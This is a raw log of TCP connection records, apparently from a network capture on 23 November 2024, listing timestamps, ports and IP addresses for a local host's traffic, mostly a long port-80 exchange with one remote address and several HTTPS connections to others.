Nov 23, 2024 21:59:40.323097944 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.323324919 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.323831081 CET	49862	443	192.168.2.6	162.159.61.3
Nov 23, 2024 21:59:40.323941946 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.323971033 CET	443	49862	162.159.61.3	192.168.2.6
Nov 23, 2024 21:59:40.324002028 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.324033022 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.324163914 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.324971914 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.325027943 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.325407028 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.325463057 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.326136112 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.326342106 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.326350927 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.326459885 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.327142954 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.327223063 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.327229023 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.327261925 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.328161955 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.328217030 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.328353882 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.328428030 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.329157114 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.329452038 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.329519033 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.329761028 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.330215931 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.330275059 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.330323935 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.330359936 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.331326008 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.331379890 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.331711054 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.332353115 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.332391024 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.332416058 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.332581997 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.332667112 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.333373070 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.333439112 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.333533049 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.333647013 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.334414005 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.334556103 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.334616899 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.335460901 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.335618973 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.335644960 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.335689068 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.336574078 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.336642027 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.336857080 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.336900949 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.337600946 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.337754011 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.337905884 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.337959051 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.338658094 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.338757992 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.338793039 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.338805914 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.339692116 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.339750051 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.340025902 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.340071917 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.340675116 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.340745926 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.340809107 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.340941906 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.341831923 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.341901064 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.342026949 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.342856884 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.343132019 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.343276978 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.343410015 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.343874931 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.344093084 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.344151020 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.344891071 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.344955921 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.345011950 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.345079899 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.345973969 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.346076012 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.346139908 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.347059011 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.347110033 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.347112894 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.347537041 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.348038912 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.348083019 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.348145962 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.349087954 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.349152088 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.349234104 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.349347115 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.350126982 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.350287914 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.350338936 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.351161003 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.351275921 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.351326942 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.352087975 CET	443	49856	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:40.352160931 CET	443	49856	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:40.352211952 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.352268934 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.352273941 CET	49856	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:40.352286100 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.352547884 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.352662086 CET	49856	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:40.352684975 CET	443	49856	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:40.352695942 CET	49856	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:40.352703094 CET	443	49856	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:40.353279114 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.353326082 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.353488922 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.353595018 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.354382038 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.354724884 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.354846954 CET	443	49858	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:40.354866028 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.354912043 CET	443	49858	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:40.354983091 CET	49858	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:40.355518103 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.355773926 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.355828047 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.356452942 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.356506109 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.356549025 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.357403040 CET	49868	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:40.357407093 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.357435942 CET	443	49868	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:40.357481003 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.357553959 CET	49868	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:40.357566118 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.357662916 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.357697010 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.357765913 CET	49858	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:40.357790947 CET	443	49858	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:40.357806921 CET	49858	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:40.357812881 CET	443	49858	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:40.358159065 CET	49868	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:40.358171940 CET	443	49868	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:40.358494997 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.358556032 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.358623028 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.358937979 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.359549999 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.359635115 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.359642982 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.359787941 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.360590935 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.360637903 CET	49869	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:40.360672951 CET	443	49869	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:40.360707998 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.360744953 CET	49869	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:40.360948086 CET	49869	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:40.360960960 CET	443	49869	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:40.370790958 CET	443	49855	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:40.370980024 CET	443	49855	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:40.371190071 CET	49855	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:40.371246099 CET	49855	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:40.371263981 CET	443	49855	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:40.371274948 CET	49855	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:40.371279955 CET	443	49855	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:40.374367952 CET	49870	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:40.374403954 CET	443	49870	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:40.374471903 CET	49870	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:40.374610901 CET	49870	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:40.374622107 CET	443	49870	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:40.471590996 CET	49862	443	192.168.2.6	162.159.61.3
Nov 23, 2024 21:59:40.516648054 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.516691923 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.516743898 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.516791105 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.517162085 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.517332077 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.517333031 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.517383099 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.518208027 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.518424988 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.518485069 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.519222021 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.519277096 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.519298077 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.519340038 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.520263910 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.520353079 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.520369053 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.520492077 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.521423101 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.521495104 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.521541119 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.521595955 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.522373915 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.522427082 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.522531986 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.522584915 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.523427010 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.523488998 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.523566008 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.523617983 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.524449110 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.524517059 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.524698973 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.524745941 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.525500059 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.525563002 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.525614023 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.525669098 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.526549101 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.526624918 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.527060032 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.527116060 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.527607918 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.527712107 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.527764082 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.528645992 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.528748035 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.529285908 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.529361963 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.529686928 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.529748917 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.530177116 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.530232906 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.530776978 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.530813932 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.530858040 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.530877113 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.531821012 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.531893015 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.532098055 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.532154083 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.532938004 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.532974005 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.533005953 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.533030987 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.533890963 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.534198999 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.534265041 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.534934998 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.535007954 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.535063982 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.536016941 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.536178112 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.536241055 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.537064075 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.537127018 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.537141085 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.537182093 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.538084984 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.538141966 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.538500071 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.538553953 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.539124966 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.539247036 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.539258957 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.539309025 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.540189028 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.540237904 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.540596008 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.540654898 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.541367054 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.541438103 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.541553974 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.541735888 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.542599916 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.542675018 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.542687893 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.542804956 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.543338060 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.543442965 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.543503046 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.544390917 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.544451952 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.544456959 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.544503927 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.545416117 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.545702934 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.545727968 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.545758009 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.546468019 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.546535969 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.546643972 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.546690941 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.547525883 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.547584057 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.547630072 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.547760010 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.548620939 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.548701048 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.548846006 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.548896074 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.549639940 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.549674034 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.549696922 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.549731016 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.550689936 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.550739050 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.550785065 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.550832987 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.551727057 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.551800966 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.551852942 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.552793026 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.552840948 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.552885056 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.553100109 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.553927898 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.553961992 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.554020882 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.554893017 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.554949999 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.555047989 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.555289984 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.556057930 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.556092978 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.556130886 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.556149960 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.556971073 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.557025909 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.557643890 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.557703018 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.557990074 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.558049917 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.558109999 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.558160067 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.559075117 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.559123993 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.559278965 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.559334040 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.631934881 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:40.731848955 CET	443	49860	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:40.731929064 CET	443	49860	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:40.731983900 CET	49860	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:40.751492023 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:40.767606974 CET	49860	443	192.168.2.6	13.107.246.63
